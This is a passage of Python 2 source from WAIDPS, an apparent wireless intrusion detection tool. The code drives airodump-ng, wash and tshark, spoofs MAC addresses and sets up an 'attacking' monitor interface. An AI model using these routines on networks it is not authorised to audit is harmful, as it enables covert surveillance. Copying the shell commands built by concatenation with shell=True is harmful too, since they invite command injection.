                if len(__builtin__.ANALYSIS_SEARCH)>0:
                    yc=0
                    FoundMatch=0
                    while yc < len(__builtin__.ANALYSIS_SEARCH):
                        tmpsearch=str(__builtin__.ANALYSIS_SEARCH[yc]).upper()
                        if str(tmplistu).find(tmpsearch)!=-1:
                            FoundMatch += 1
                        yc += 1
                    if FoundMatch>0:
                        ToDisplay=1
                    else:
                        ToDisplay=0
                if len(__builtin__.ANALYSIS_MAC)>0 and ToDisplay==1:
                    yc=0
                    FoundMatch=0
                    while yc < len(__builtin__.ANALYSIS_MAC):
                        tmpsearch=str(__builtin__.ANALYSIS_MAC[yc]).upper()
                        if str(tmplistu).find(tmpsearch)!=-1:
                            FoundMatch += 1
                        yc += 1
                    if FoundMatch>0:
                        ToDisplay=1
                    else:
                        ToDisplay=0
                if len(__builtin__.ANALYSIS_IGNORE)>0 and ToDisplay==1:
                    yc=0
                    while yc < len(__builtin__.ANALYSIS_IGNORE):
                        tmpsearch=str(__builtin__.ANALYSIS_IGNORE[yc]).upper()
                        if __builtin__.SHOWRESULT==1 or __builtin__.SHOWRESULT==2 or __builtin__.SHOWRESULT==3: 
                            if str(lineu).find(tmpsearch)!=-1:
                                ToDisplay=0
                        yc += 1
                if ToDisplay==1:
                    RecCt += 1
                    if __builtin__.SHOWRESULT==1:
                        ColorChange += 1
                        if ColorChange==1:
                            ColorC=fcolor.SWhite
                        if ColorChange==2:
                            ColorC=fcolor.SGreen
                            ColorChange=0
                        YOURMAC=""
                        if CheckContainMyMAC(line)==True:
                            YOURMAC=fcolor.BPink + " [YOUR MAC]"
                            ColorC=fcolor.SPink
                        if tmplistu.find("ASSOC")!=-1 or tmplistu.find("AUTH")!=-1:
                            ColorC = fcolor.SRed
                        print ColorC + line + str(YOURMAC)
                    if __builtin__.SHOWRESULT==2:
                        if CheckContainMyMAC(line)==True:
                            print fcolor.BRed + "Found Your MAC Address"
                        print fcolor.SGreen + str(tmplist)
                        print fcolor.SWhite + "SRC MAC   : " + fcolor.BGreen + str(__builtin__.SRC_MAC) + fcolor.SWhite + "  [" + fcolor.BGreen + str(__builtin__.SRC_MACLoc) + fcolor.SWhite + "]\t\tType : " + fcolor.BGreen + str(__builtin__.SRC_TYPE)
                        print fcolor.SWhite + "DST MAC   : " + fcolor.BGreen + str(__builtin__.DST_MAC) + fcolor.SWhite + "  [" + str(__builtin__.DST_MACLoc) + fcolor.SWhite + "]\t\tType : " + fcolor.BGreen + str(__builtin__.DST_TYPE)
                        print fcolor.SWhite + "COMMAND   : " + fcolor.BGreen + str(__builtin__.PKT_CMD)
                        print fcolor.SWhite + "SPEED     : " + fcolor.BGreen + str(__builtin__.PKT_SPEED) + "\t" + fcolor.SWhite + "FREQ  = " + fcolor.BGreen + str(__builtin__.PKT_FREQ)+ "\t" + fcolor.SWhite + "STANDARD = " + fcolor.BGreen + str(__builtin__.PKT_STANDARD) + "\t" + fcolor.SWhite + "POWER = " + fcolor.BGreen + str(__builtin__.PKT_POWER)
                        print fcolor.SWhite + "BSSID     : " + fcolor.BGreen + str(__builtin__.MAC_BSSID) + fcolor.SWhite + "\tESS = " + fcolor.BGreen + str(PKT_ESS) + "\t" + fcolor.SWhite + "CHANNEL = " + fcolor.BGreen + str(__builtin__.PKT_CHANNEL) + fcolor.SWhite + "\t\tESSID = " + fcolor.BPink + str(__builtin__.PKT_ESSID) + "\t" + fcolor.SWhite 
                        print fcolor.SWhite + "PROBE REQ : " + fcolor.BBlue + str(__builtin__.PKT_PROBE_REQ) + "\t\t\t" + fcolor.SWhite + "RESPONSE : " + fcolor.BGreen + str(__builtin__.PKT_PROBE_RSP)
                        print fcolor.SWhite + "MBIT      : " + fcolor.BGreen + str(__builtin__.PKT_MBIT)
                        print ""
                    if __builtin__.SHOWRESULT==3:
                        open(__builtin__.SavedTCPDumpFile,"a+b").write(line + "\n")
        if __builtin__.SHOWRESULT!=3:
            print ""
            if RecCt!=0:
                print fcolor.BWhite + str(RecCt) + " records listed / " + str(int(linecount)-int(RecCt)) + " records ignored."
                DisplayAnalysisFilters()
            else:
                print fcolor.BWhite + "No record found. " + str(linecount) + " data read."
                DisplayAnalysisFilters()
        if __builtin__.SHOWRESULT==3: 
            printl (spacing + fcolor.SGreen + "Analysing Packets...TCPDump - Completed.","0","")
    else:
        print fcolor.BRed + "Packet file - " + fcolor.BYellow + __builtin__.TCPDumpFileBak + fcolor.BRed + " not found !"
                

def signal_handler(signal,frame):
    printc (" ", fcolor.BRed + "\nInterrupted !!","")
    Result=AskQuestion(fcolor.SRed + "Are you sure you want to exit"+ fcolor.BGreen,"y/N","U","N","1")
    if Result=="Y":
        exit_gracefully(0)

def RunWash():
    DelFile (tmpdir + "WPS*",1)
    ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_MON) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    cmdLine="ps -eo pid | grep '" + str(__builtin__.WashProc) + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
    readout=str(ps.stdout.read().replace("\n",""))
    readout=str(readout).lstrip().rstrip()
    ps.wait();ps.stdout.close()
    __builtin__.WashProc=str(__builtin__.WashProc)
    if str(readout)==str(__builtin__.WashProc):
        os.killpg(int(__builtin__.WashProc), signal.SIGTERM)
    Search="WAIDPS - Monitoring WPS"
    KillProc(Search)
    cmdLine="xterm -geometry 100x3-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Monitoring WPS' -e 'sudo wash -o " + __builtin__.WPS_DUMP + " -C -i " + __builtin__.SELECTED_MON + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
    __builtin__.WashProc=ps.pid

def RunIWList():
    ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_MANIFACE) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    cmdLine="ps -eo pid | grep '" + str(__builtin__.IWListProc) + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
    readout=str(ps.stdout.read().replace("\n",""))
    readout=str(readout).lstrip().rstrip()
    __builtin__.IWListProc=str(__builtin__.IWListProc)
    ps.wait();ps.stdout.close()
    if str(readout)==str(__builtin__.IWListProc):
        os.killpg(int(__builtin__.IWListProc), signal.SIGTERM)
    Search="WAIDPS - Scanning For Access Points"
    KillProc(Search)
    if __builtin__.SELECTED_MANIFACE!="":
        cmdLine="xterm -geometry 100x3-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Scanning For Access Points' -e 'iwlist " + __builtin__.SELECTED_MANIFACE + " scanning > " + str(__builtin__.TMP_IWList_DUMP) + "'"
        ps=subprocess.Popen(cmdLine ,shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)	
        __builtin__.IWListProc=ps.pid

def RunAirodump():
    DelFile (tmpdir + "Collect-Dump-*",1)
    ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_MON) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    cmdLine="ps -eo pid | grep '" + str(__builtin__.DumpProc) + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
    readout=str(ps.stdout.read().replace("\n",""))
    readout=str(readout).lstrip().rstrip()
    __builtin__.DumpProc=str(__builtin__.DumpProc)
    ps.wait();ps.stdout.close()
    if str(readout)==str(__builtin__.DumpProc):
        os.killpg(int(__builtin__.DumpProc), signal.SIGTERM)
    Search="WAIDPS - Monitoring SSID/Clients"
    TIMEOUT=__builtin__.TIMEOUT
    KillProc(Search)
    if __builtin__.FIXCHANNEL!=0:
        ps=subprocess.Popen("iwconfig " + str(__builtin__.SELECTED_MON) + " channel " + str(__builtin__.FIXCHANNEL) + " > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait();ps.stdout.close()
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Monitoring SSID/Clients' -hold -e 'airodump-ng --berlin " + str(TIMEOUT) + " --channel " + str(__builtin__.FIXCHANNEL) + " -w " + appdir + "/tmp/Collect-Dump " + __builtin__.SELECTED_MON + "'"
    else:
        cmdLine="xterm -geometry 100x20-0-0 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Monitoring SSID/Clients' -hold -e 'airodump-ng --berlin " + str(TIMEOUT) + " -w " + appdir + "/tmp/Collect-Dump " + __builtin__.SELECTED_MON + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)	
    __builtin__.DumpProc=ps.pid
    time.sleep(1)
    if IsFileDirExist(__builtin__.Captured_CSV)!="F":
        time.sleep(1.5)
    if IsFileDirExist(__builtin__.Captured_CSV)!="F":
        printc ("!!!", "Unable to find Airodump-NG output file.. Interface [ " + fcolor.BYellow + str(__builtin__.SELECTED_IFACE) + fcolor.BRed + " ] may be down..","")
        printc (" ", fcolor.SWhite + "Try disconnect and reconnect the wireless interface if possible to see if it solve the problem..","")
        print ""
        __builtin__.ERRORFOUND=1
        exit_gracefully(1)
        

def RunPacketCapture():
    Search="WAIDPS - Capturing Packets"
    KillProc(Search)
    if SHOW_IDS=="Yes" or SHOW_SUSPICIOUS_LISTING=="Yes":
        DelFile (tmpdir + "MON_*",1)
        if __builtin__.FIXCHANNEL==0:
            cmdLine="xterm -geometry 100x10-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Capturing Packets' -e '" + "tshark -i " + str(__builtin__.SELECTED_MON) + " -w " + str(__builtin__.PacketDumpFile) + "'"
        else:
            cmdLine="xterm -geometry 100x10-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Capturing Packets' -e '" + "tshark -i " + str(__builtin__.SELECTED_MON) + " -w " + str(__builtin__.PacketDumpFile) + "'"
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)	
        __builtin__.PCapProc=ps.pid

def KillProc(ProcName):
    pstr="kill $(ps aux | grep '" + str(ProcName) + "' | awk '{print $2}') > /dev/null 2>&1"
    ps=subprocess.Popen(pstr, shell=True, stdout=subprocess.PIPE)	
    ps.wait();ps.stdout.close()

def KillAllMonitor():
    Search="WAIDPS - Sniffing"
    KillProc(Search)
    Search="WAIDPS - Auditing"
    KillProc(Search)
    Search="WAIDPS - Associating"
    KillProc(Search)
    Search="WAIDPS - Monitoring"
    KillProc(Search)
    Search="WAIDPS - Monitoring SSID/Clients"
    KillProc(Search)
    Search="WAIDPS - Monitoring WPS"
    KillProc(Search)
    Search="WAIDPS - Scanning For Access Points"
    KillProc(Search)
    Search="WAIDPS - Capturing"
    KillProc(Search)
    Search="WAIDPS - Cracking"
    KillProc(Search)
    Search="WAIDPS - Intrusion Prevention"
    KillProc(Search)
    Search="WAIDPS - "
    KillProc(Search)

def GetMyMAC(IFACE):
    MACADDR=""
    ps=subprocess.Popen("ifconfig " + str(IFACE) + " | grep 'HWaddr' | tr -s ' ' | cut -d ' ' -f5" , shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))
    MACADDR=ps.stdout.read().replace("\n","").upper().replace("-",":")
    ps.wait();ps.stdout.close()
    MACADDR=MACADDR[:17]
    return MACADDR
    

def RandomMAC():
    H1="00"
    H2=ChangeHex(random.randrange(255))
    H3=ChangeHex(random.randrange(255))
    H4=ChangeHex(random.randrange(255))
    H5=ChangeHex(random.randrange(255))
    H6=ChangeHex(random.randrange(255))
    ASSIGNED_MAC=str(H1) + ":" + str(H2) + ":" + str(H3) + ":" + str(H4) + ":" + str(H5) + ":" + str(H6) 
    return ASSIGNED_MAC;

def CreateMonitor(CMD,DontSpoofATK):
    if __builtin__.SELECTED_IFACE!="":
        if CMD=="1":
            printc (".",fcolor.SGreen + "Enabling monitoring for [ " + fcolor.BRed + __builtin__.SELECTED_IFACE + fcolor.SGreen + " ]...","")
        ASSIGNED_MAC=RandomMAC()
        ps=subprocess.Popen("iw " + __builtin__.SELECTED_IFACE + " interface add wlmon0 type monitor > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait();ps.stdout.close()
        ps=subprocess.Popen("ip link set dev wlmon0 address " + str(ASSIGNED_MAC) + " > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait();ps.stdout.close()
        ps=subprocess.Popen("ifconfig wlmon0 up  > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait();ps.stdout.close()
        __builtin__.SELECTED_MON="wlmon0"
        ASSIGNED_MAC=RandomMAC()
        ps=subprocess.Popen("iw " + __builtin__.SELECTED_IFACE + " interface add atmon0 type monitor > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait();ps.stdout.close()
        __builtin__.SELECTED_ATK="atmon0"
        
        if DontSpoofATK=="":
            ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_ATK) + " down && ip link set dev " + str(__builtin__.SELECTED_ATK) + " address " + str(ASSIGNED_MAC) + " && ifconfig " + str(__builtin__.SELECTED_ATK) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
            ASSIGNED_MAC=RandomMAC()
            ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_IFACE) + " down && ip link set dev " + str(__builtin__.SELECTED_IFACE) + " address " + str(ASSIGNED_MAC) + " && ifconfig " + str(__builtin__.SELECTED_IFACE) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
            ps.wait();ps.stdout.close()
        else:
            ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_IFACE) + " down && ip link set dev " + str(__builtin__.SELECTED_IFACE) + " address " + str(ASSIGNED_MAC) + " && ifconfig " + str(__builtin__.SELECTED_IFACE) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
            ps.wait();ps.stdout.close()
            ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_ATK) + " down && ip link set dev " + str(__builtin__.SELECTED_ATK) + " address " + str(ASSIGNED_MAC) + " && ifconfig " + str(__builtin__.SELECTED_ATK) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
            ps.wait();ps.stdout.close()
            ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_MON) + " down && ip link set dev " + str(__builtin__.SELECTED_MON) + " address " + str(ASSIGNED_MAC) + " && ifconfig " + str(__builtin__.SELECTED_MON) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
            ps.wait();ps.stdout.close()
   
        ASSIGNED_MAC=RandomMAC()
        ps=subprocess.Popen("iw " + __builtin__.SELECTED_IFACE + " interface add probe0 type managed  > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait();ps.stdout.close()
        ps=subprocess.Popen("ip link set dev probe0 address " + str(ASSIGNED_MAC) + " > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait();ps.stdout.close()
        ps=subprocess.Popen("ifconfig probe0 up    > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait();ps.stdout.close()
        cmdLine="ifconfig probe0 | grep -i 'up broadcast'"
        ps=Popen(str(cmdLine), shell=True, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
        readout=str(ps.stdout.read())
        ps.wait();ps.stdout.close()
        if readout=="":
            __builtin__.SELECTED_MANIFACE=__builtin__.SELECTED_IFACE
        else:
            __builtin__.SELECTED_MANIFACE="probe0"
        __builtin__.SELECTED_MON="wlmon0"
        __builtin__.SELECTED_MON_MAC=GetMyMAC(__builtin__.SELECTED_MON)
        __builtin__.SELECTED_MANIFACE_MAC=GetMyMAC(__builtin__.SELECTED_MANIFACE)
        __builtin__.SELECTED_ATK_MAC=GetMyMAC(__builtin__.SELECTED_ATK)
        __builtin__.SELECTED_IFACE_MAC=GetMyMAC(__builtin__.SELECTED_IFACE)
        if CMD=="1":
            print ""
            printc (" ", fcolor.SWhite + "Selected Interface ==> " + fcolor.BRed + str(__builtin__.SELECTED_IFACE) + "\t" + fcolor.SGreen + str(__builtin__.SELECTED_IFACE_MAC),"")
        ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_IFACE) + " up  > /dev/null 2>&1" , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait();ps.stdout.close()
        if CMD=="1":
            printc (" ", fcolor.SWhite + "Selected Monitoring Interface ==> " + fcolor.BRed + str(__builtin__.SELECTED_MON) + "\t" + fcolor.SGreen + str(__builtin__.SELECTED_MON_MAC),"")
            printc (" ", fcolor.SWhite + "Selected Attacking Interface  ==> " + fcolor.BRed + str(__builtin__.SELECTED_ATK) + "\t" + fcolor.SGreen + str(__builtin__.SELECTED_ATK_MAC),"")
            printc (" ", fcolor.SWhite + "Selected Managing Interface   ==> " + fcolor.BRed + str(__builtin__.SELECTED_MANIFACE) + "\t" + fcolor.SGreen + str(__builtin__.SELECTED_MANIFACE_MAC),"")
            print ""
    else:
        if CMD=="1":
            printc ("!!!","Failed to enable monitor as no interface selected !","")
        __builtin__.ERRORFOUND=1
        exit_gracefully(1)

def HarvestingProcess(CMD):
    if CMD=="1":
        RewriteCSV()
        ExtractDump("")
        EnrichDump()
        EnrichSSID()
        ExtractWPS()
        SortBSSIDList()
        ExtractClient()
        SortStationList()
        return
    if CMD=="2":
        DisplayInfrastructure()
        DisplayClientList()
        CheckMonitoringMAC()
        CheckDiffBSSIDConnection()
        return
    if CMD=="3":
        WriteDBFile()
        return

def IDSProcess(CMD):
    if SHOW_IDS=="Yes" or SHOW_SUSPICIOUS_LISTING=="Yes":
        if CMD=="1":
            AnalysePacketCapture()
            printl ("","0","")
            return
        if CMD=="2":
            
            ShowAnalysedListing("SHOW LIST3_QUIET")
            LineBreak()
            ShowIDSDetection("")
            return

def EnterUserPassword(cmd):
    ContinueWrite=""
    if cmd=="1":
        if IsFileDirExist(EncDBFile)=="F":
            printc ("!!!","A encrypted database already exist !!","")
            printc (" ",fcolor.BRed + "By continuing, existing encrypted will be over-written.","")
            usr_resp=AskQuestion(fcolor.BRed + "Are you sure ?" + fcolor.BGreen,"y/N","U","N","1")
            if usr_resp=="Y":
                ContinueWrite="1"
            else:
                return
        else:
            printc ("!!!","At present, there is no password for your encrypted data.","")
            printc ("!!!","If you forgot your password, all encrypted data will be gone..","")
    os.system("stty -echo")
    password=raw_input(tabspacefull + fcolor.BGreen + "Enter your password : ")
    print ""
    password2=raw_input(tabspacefull + fcolor.BGreen + "Confirm password    : ")
    print ""
    os.system("stty echo")
    print ""
    if password!=password2:
        printc ("!!!","Password entered are not the same !!","")
        EnterUserPassword("")
        return;
    secret=Hashing(password)
    __builtin__.ENCRYPTED_PASS=secret
    EncStr=secret + "\n" + "Encrypted Content\n"
    cipher = AES.new(secret)
    encoded = EncodeAES(cipher, EncStr)
    open (EncDBFile,"w").write(encoded)
    __builtin__.USERPASS=1
    SaveConfig("")

def ReadCommandHistory():
    if IsFileDirExist(__builtin__.CommandHistory)=="F":
        rwf=tmpdir + "tmp.tmp"
        open(rwf,"w").write("")
        with open(__builtin__.CommandHistory,"r") as f:
            for line in f:
                if len(line)>2:
                    open(rwf,"a+b").write(line)
        DelFile (__builtin__.CommandHistory,"")
        os.rename(rwf,__builtin__.CommandHistory)
        readline.read_history_file(__builtin__.CommandHistory)

def Main():
    pstr="kill $(ps aux | grep 'WAIDPS - ' | awk '{print $2}') > /dev/null 2>&1"
    ps=subprocess.Popen(pstr, shell=True, stdout=subprocess.PIPE)	
    ps.wait();ps.stdout.close()
    GetAppName()
    CheckLinux()
    CheckPyVersion("2.6")
    os.system('clear')
    KillAllMonitor()
    DisplayAppDetail()
    DisplayDescription()
    CheckAdmin()
    CheckAppLocation()
    if IMPORT_ERRMSG!="":
        print fcolor.BBlue + "Following Libaries required by WAIDS is missing"
        printc ("!!!","Script will not proceed..","")
        print fcolor.SRed + IMPORT_ERRMSG
        printc ("x","","")
        __builtin__.ERRORFOUND=1
        exit_gracefully(1)
    CheckRequiredFiles()
##    GetHardwareID()
    CreateDatabaseFiles()
    DropFiles()
    GetParameter("1")
    DelFile (tmpdir + "Collect-Dump-*",1)
    DelFile (tmpdir + "WPS*",1)
    DelFile (tmpdir + "Dumps*",1)
    ps=subprocess.Popen("iw probe0 del  > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    ps=subprocess.Popen("iw wlmon0 del  > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    ps=subprocess.Popen("iw atmon0 del  > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    MonCt = GetInterfaceList("MON")
    __builtin__.MONList=__builtin__.IFaceList
    Ct=GetInterfaceList("MAN")
    __builtin__.SELECTED_MANIFACE=""
    __builtin__.SELECTED_IFACE_PROBE=""
    if Ct!=0:
        __builtin__.SELECTED_MANIFACE=__builtin__.IFaceList[0]
    LoadConfig()
    LoadPktConfig()
##    if __builtin__.HWID!=__builtin__.HWID_Saved:
##        if __builtin__.HWID_Saved=="":
##            __builtin__.HWID_Saved=__builtin__.HWID
##        else:
##            printc ("!!!","Hardware ID is different, decryption of encrypted data would not be possible.","")
##            printc ("!!!","If you choose to update with new hardware ID, all existing encrypted will be deleted..","")
##            usr_resp=AskQuestion(fcolor.BRed + "Continue and update new Hardware ID ?" + fcolor.BGreen,"y/N","U","N","1")
##            if usr_resp=="Y":
##                SaveConfig("")
##                RestartApplication()
##            else:
##                exit_gracefully(1)
##    usr=os.getlogin()
##    if __builtin__.USERNAME=="":
##        __builtin__.USERNAME=usr
##        __builtin__.USERHASH=MD5(__builtin__.USERNAME,"h")
##        SaveConfig("")
##    if __builtin__.USERPASS=="":
##        EnterUserPassword("1")
##        print ""
        
    RETRY=0
    __builtin__.PrintToFile=__builtin__.PRINTTOFILE
    if __builtin__.ReadPacketOnly=="1":
        if IsFileDirExist(captured_pcap)=="F" and IsFileDirExist(captured_csv)=="F":
            print "     Reading captured packet only..."
            ConvertPackets("1")
            AnalyseCaptured()
        else:
            printc ("!!!","[-ro] Function is use to read existing captured packet only...","")
            printc (" ","Make sure all neccessary captured files is present in order to use this function...","")
        exit()
    ps=subprocess.Popen("ps -A | grep 'airodump-ng'" , shell=True, stdout=subprocess.PIPE)	
    Process=ps.stdout.read()
    ps.wait();ps.stdout.close()
    if Process!="":
        ps=subprocess.Popen("killall 'airodump-ng'" , shell=True, stdout=subprocess.PIPE)	
        Process=ps.stdout.read()
        ps.wait();ps.stdout.close()
    ps=subprocess.Popen("ps -A | grep 'aireplay-ng'" , shell=True, stdout=subprocess.PIPE)	
    Process=ps.stdout.read()
    ps.wait();ps.stdout.close()
    if Process!="":
        ps=subprocess.Popen("killall 'aireplay-ng'" , shell=True, stdout=subprocess.PIPE)	
        Process=ps.stdout.read()
        ps.wait();ps.stdout.close()
    printc ("i","Monitor Selection","")
    MonCt = GetInterfaceList("MON")
    WLANCt = GetInterfaceList("WLAN")
    if MonCt==0 and WLANCt==0:
        printc (".",fcolor.SRed + "No wireless interface detected !","")
        __builtin__.ERRORFOUND=1
        exit_gracefully(1)
    if WLANCt!=0:
        if __builtin__.SELECTED_IFACE=="":
            __builtin__.SELECTED_IFACE=SelectInterfaceToUse()
            CreateMonitor("1","")
        else:
            if __builtin__.SELECTED_IFACE=="":
                __builtin__.SELECTED_IFACE=__builtin__.IFaceList[0]
            CreateMonitor("1","")
            Rund="iwconfig " + __builtin__.SELECTED_IFACE + " > /dev/null 2>&1"
            result=os.system(Rund)
            if result==0:
                printc(">",fcolor.BIGray + "Interface Selection Bypassed....","")
            else:
                printc ("!!!", fcolor.BRed + "The interface specified [ " + fcolor.BWhite + __builtin__.SELECTED_IFACE + fcolor.BRed + " ] is not available." ,"")
                print ""
                __builtin__.SELECTED_IFACE=SelectInterfaceToUse()
    RunAirodump()
    if __builtin__.LOAD_PKTCAPTURE=="Yes":
        RunPacketCapture()
    ps=subprocess.Popen("ifconfig " + str(__builtin__.SELECTED_IFACE_PROBE) + " up" , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    cmdLine="ps -eo pid,args | grep 'WAIDPS - Monitoring SSID/Clients' | grep 'xterm' | cut -c 1-6"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
    __builtin__.DumpProcPID=ps.stdout.read()
    ps.wait();ps.stdout.close()
    cmdLine="ps -eo pid,args | grep 'WAIDPS - Monitoring WPS' | grep 'xterm' | cut -c 1-6"    
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
    __builtin__.WashProcPID=ps.stdout.read()
    ps.wait();ps.stdout.close()
    __builtin__.SELECTED_MON_MAC=GetMyMAC(__builtin__.SELECTED_MON)
    __builtin__.SELECTED_MANIFACE_MAC=GetMyMAC(__builtin__.SELECTED_MANIFACE)
    __builtin__.SELECTED_IFACE_MAC=GetMyMAC(__builtin__.SELECTED_IFACE)
    __builtin__.SELECTED_ATK_MAC=GetMyMAC(__builtin__.SELECTED_ATK)
    GetMonitoringMAC()
    GetWhitelist()
    DisplayPanel()
    ReadCommandHistory()
    CurLoop=0;RestartIFaceCt=0
    IFace=__builtin__.SELECTED_IFACE
    FIRST="1"
    
    TIMEOUT_BK=__builtin__.TIMEOUT
    
    while CurLoop<int(__builtin__.LoopCount):
        if FIRST=="1":
            __builtin__.TIMEOUT=5
            FIRST=""
        elif FIRST=="":
             __builtin__.TIMEOUT=TIMEOUT_BK
             FIRST="2"
        else:
            TIMEOUT_BK=__builtin__.TIMEOUT
        captured_pcap=tmpdir + "captured"
        retkey=WaitingCommands(__builtin__.TIMEOUT,1)
        DisplayPanel()
        HarvestingProcess("1")
        IDSProcess("1")
        HarvestingProcess("2")
        IDSProcess("2")
        HarvestingProcess("3")
        RestartIFaceCt += 1
        __builtin__.MSG_CombinationLogs=RemoveAdditionalLF(__builtin__.MSG_CombinationLogs)
        if retkey==None or retkey=="":
            if RestartIFaceCt>100:
                printc ("i","Application had run for quite some time, restarting interface..","")
                ResetInterface("");RestartIFaceCt=0
            CurLoop += 1
            if int(__builtin__.LoopCount)-CurLoop<3 and int(__builtin__.LoopCount)!=CurLoop:
                printc (" ", "Remaining loop count : " + str(int(__builtin__.LoopCount)-CurLoop),"")
        else:
            print ""
            CurLoop=__builtin__.LoopCount + 1
    printc ("i", fcolor.BWhite + "Completed !! ","")
    exit_gracefully(0)

def DebugPrint(sVal):
    ToDisplay=0
    if ToDisplay==1:
        print fcolor.SWhite + str(sVal)

def WriteDBFile():
    WriteAccessPointDB()
    __builtin__.UPDATE_STN_COUNT=int(__builtin__.UPDATE_STN_COUNT)+1
    if int(__builtin__.UPDATE_STN_COUNT)>=int(__builtin__.TIMES_BEFORE_UPDATE_STN_DB):
        __builtin__.UPDATE_STN_COUNT=0
        WriteAllStationDB()

def WriteAccessPointDB():
    SkipWrite=0
    x=0
    AddData=0
    while x<len(ListInfo_BSSID):
        WriteFile=0
        if int(__builtin__.ListInfo_BSSIDTimes[x])>=int(__builtin__.TIMES_BEFORE_UPDATE_AP_DB):
            WriteFile=1
        if __builtin__.ListInfo_Enriched[x]=="Yes":
            WriteFile=1
        if WriteFile==1 and len(ListInfo_BSSID[x])==17 and __builtin__.SELECTED_MANIFACE_MAC!=ListInfo_BSSID[x] and __builtin__.SELECTED_MON_MAC!=ListInfo_BSSID[x] and __builtin__.SELECTED_IFACE_MAC!=ListInfo_BSSID[x] and __builtin__.SELECTED_ATK_MAC!=ListInfo_BSSID[x] :
            SkipWrite=0
            with open(DBFile2,"r") as f:
                for line in f:
                    line=line.replace("\n","").replace("\r","")
                    sl=len(line)
                    if SkipWrite==0 and sl>34:
                        tmplist=[]
                        tmplist=str(line).split(";")
                        if len(tmplist)>10:
                            if tmplist[0]==str(ListInfo_BSSID[x]) and tmplist[5]==str(ListInfo_Channel[x]) and tmplist[6]==str(ListInfo_Privacy[x]) and tmplist[7]==str(ListInfo_Cipher[x]) and tmplist[8]==str(ListInfo_Auth[x]) and tmplist[10]==str(ListInfo_BitRate[x]) and tmplist[15]==str(ListInfo_WPS[x]) and tmplist[16]==str(ListInfo_WPSVer[x]) and tmplist[18]==str(ListInfo_ESSID[x]):
                                SkipWrite=1
                                break
                if SkipWrite==0 and RemoveUnwantMAC(ListInfo_BSSID[x])!="" and ListInfo_BSSID[x]!=__builtin__.SELECTED_MON_MAC and ListInfo_BSSID[x]!=__builtin__.SELECTED_MANIFACE_MAC  and ListInfo_BSSID[x]!=__builtin__.SELECTED_IFACE_MAC and ListInfo_BSSID[x]!=__builtin__.SELECTED_ATK_MAC:
                    AddData=AddData+1
                    WriteData=str(ListInfo_BSSID[x]) + str(col)
